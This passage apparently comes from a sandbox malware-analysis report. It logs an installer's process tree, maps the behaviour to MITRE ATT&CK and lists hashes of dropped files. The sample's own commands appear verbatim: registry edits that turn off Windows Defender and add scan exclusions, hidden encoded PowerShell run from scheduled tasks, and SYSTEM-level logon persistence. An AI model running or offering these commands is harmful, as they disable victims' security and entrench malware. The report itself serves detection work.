        Suspicious use of WriteProcessMemory
        
        PID:2620
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:2752
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:2516
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gOOgUIIfP" /SC once /ST 05:52:59 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:2564
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gOOgUIIfP"
      4⤵
      PID:3000
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gOOgUIIfP"
      4⤵
      PID:1180
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bhZhLXMKPydttVOkpp" /SC once /ST 08:15:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj\AJbXeXnhkefSndm\XOqfbvW.exe\" 2K /DYsite_idHmp 385118 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:2576

C:\Windows\system32\taskeng.exe
taskeng.exe {6038113C-D636-40E4-A94C-63B1FCA90766} S-1-5-21-3750544865-3773649541-1858556521-1000:XOCYHKRS\Admin:Interactive:[1]
1⤵
PID:1900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2596
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1728
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:936
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1516

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1696

C:\Windows\system32\taskeng.exe
taskeng.exe {642D97BE-4DC4-4EDD-9838-BDDF22F776A1} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1652
- C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj\AJbXeXnhkefSndm\XOqfbvW.exe
  C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj\AJbXeXnhkefSndm\XOqfbvW.exe 2K /DYsite_idHmp 385118 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:828
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gVpSANSxQ" /SC once /ST 06:20:53 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gVpSANSxQ"
    3⤵
    PID:1136
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gVpSANSxQ"
    3⤵
    PID:2136
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1052
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:696
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1504
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gaYOHApOQ" /SC once /ST 00:31:00 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2156
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gaYOHApOQ"
    3⤵
    PID:1008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gaYOHApOQ"
    3⤵
    PID:2900
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1620
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1628
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1692
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1736
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2588
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2692
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2716
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\ntmabZXhibOLMgKk\KsRukCUy\EZgUOGcXPthwRofm.wsf"
    3⤵
    PID:1716
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\ntmabZXhibOLMgKk\KsRukCUy\EZgUOGcXPthwRofm.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:2024
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GZiriljYU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1648
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GZiriljYU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2016
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LPejASBNERUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2520
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LPejASBNERUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2880
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VpnovHJhDZbGuvpQysR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2668
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VpnovHJhDZbGuvpQysR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2992
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\genmZJWXaUtU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2564
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\genmZJWXaUtU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2544
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\idkLIueePTaHC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2352
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\idkLIueePTaHC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2988
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\oURPKsXBiGMpdVVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1680
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\oURPKsXBiGMpdVVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2860
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1436
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1636
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1956
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2872
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2688
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2856
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GZiriljYU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:336
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LPejASBNERUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2904
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GZiriljYU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2480
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LPejASBNERUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1364
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VpnovHJhDZbGuvpQysR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1488
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VpnovHJhDZbGuvpQysR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1284
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\genmZJWXaUtU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2116
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\genmZJWXaUtU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1508
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\idkLIueePTaHC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2928
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\idkLIueePTaHC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1536
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\oURPKsXBiGMpdVVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\oURPKsXBiGMpdVVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1816
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2920
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:312
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:400
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1052
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1504
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\ntmabZXhibOLMgKk" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1640
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gjjPYUknX" /SC once /ST 00:52:03 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gjjPYUknX"
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gjjPYUknX"
    3⤵
    PID:2240
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:1096
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:2160
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:1596
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:1936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "xKesLQoizuLwEuvsY" /SC once /ST 01:06:00 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ntmabZXhibOLMgKk\JpqXsoCDCfPbKrT\UBDBaHZ.exe\" ri /Bwsite_idVKh 385118 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "xKesLQoizuLwEuvsY"
    3⤵
    PID:2588
- C:\Windows\Temp\ntmabZXhibOLMgKk\JpqXsoCDCfPbKrT\UBDBaHZ.exe
  C:\Windows\Temp\ntmabZXhibOLMgKk\JpqXsoCDCfPbKrT\UBDBaHZ.exe ri /Bwsite_idVKh 385118 /S
  2⤵
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:3064
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bhZhLXMKPydttVOkpp"
    3⤵
    PID:2732
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:2524
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
      4⤵
      PID:692
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:2624
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
      4⤵
      PID:2520
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\GZiriljYU\KfttzO.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "YWIPQsmrASKeQPr" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:2560

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1816

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1584

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

Filesize
1.1MB

MD5
b39a2dd0ee70a0656e7c7605f1c51ff9

SHA1
1d340b1ceeeb632be807d9a9222330f04ed6e7ee

SHA256
b443fca30eb3b7747d305c1752a37c75822731b1a1499ac79008c1691d3c4f6c

SHA512
f4511c68e4194c5d118177f65de305238a70833aba991dc27677f89620b7d13558e7daeb5002b052438ee135d4e2c73bb2c2eb247c76adaf7585186237192486

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS3717.tmp\Install.exe

Filesize
6.1MB

MD5
50e91b05c3b7d81790a35fed550e6475

SHA1
7bf8e68a0ddd556d448333eef00012e5e8fae454

SHA256
693b54b819fc7779b066aa0e3ff17bf80f1c297c49a381825d5d662a1d5e95a5

SHA512
942dac20d64c196740374c96a2169b599596fa72695eddce53995fde7cf753bbc01783db7b71af3cb9379d420983a60f3d6a67dcccdc79dcff9738ec8824b928

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS3717.tmp\Install.exe

Filesize
6.1MB

MD5
50e91b05c3b7d81790a35fed550e6475

SHA1
7bf8e68a0ddd556d448333eef00012e5e8fae454

SHA256
693b54b819fc7779b066aa0e3ff17bf80f1c297c49a381825d5d662a1d5e95a5

SHA512
942dac20d64c196740374c96a2169b599596fa72695eddce53995fde7cf753bbc01783db7b71af3cb9379d420983a60f3d6a67dcccdc79dcff9738ec8824b928

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS38EB.tmp\Install.exe

Filesize
6.8MB

MD5
3f03a068ff69ab813dd885d0b8859d4f

SHA1
4a2bd1bd2abee50d847b61ab5c50295108a79765

SHA256
d7ea53fc6ff0c47b0f9fd0c4fd75e40bc9541a9484f00e4f7e956995873a7214

SHA512
270f7e49c40b72f9961fa340c758abaa3d9af9af29d8e7b1a13f3d7957b8d1a71b3884bed3d592e995f116620322357effdef92f4d96c1fc737f4c5055781d12

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS38EB.tmp\Install.exe

Filesize
6.8MB

MD5
3f03a068ff69ab813dd885d0b8859d4f

SHA1
4a2bd1bd2abee50d847b61ab5c50295108a79765

SHA256
d7ea53fc6ff0c47b0f9fd0c4fd75e40bc9541a9484f00e4f7e956995873a7214

SHA512
270f7e49c40b72f9961fa340c758abaa3d9af9af29d8e7b1a13f3d7957b8d1a71b3884bed3d592e995f116620322357effdef92f4d96c1fc737f4c5055781d12

Download Submit
C:\Users\Admin\AppData\Local\Temp\AZTgzQmTjIbbZTRYj\AJbXeXnhkefSndm\XOqfbvW.exe

Filesize
6.8MB

MD5
3f03a068ff69ab813dd885d0b8859d4f

SHA1
4a2bd1bd2abee50d847b61ab5c50295108a79765

SHA256
d7ea53fc6ff0c47b0f9fd0c4fd75e40bc9541a9484f00e4f7e956995873a7214

SHA512
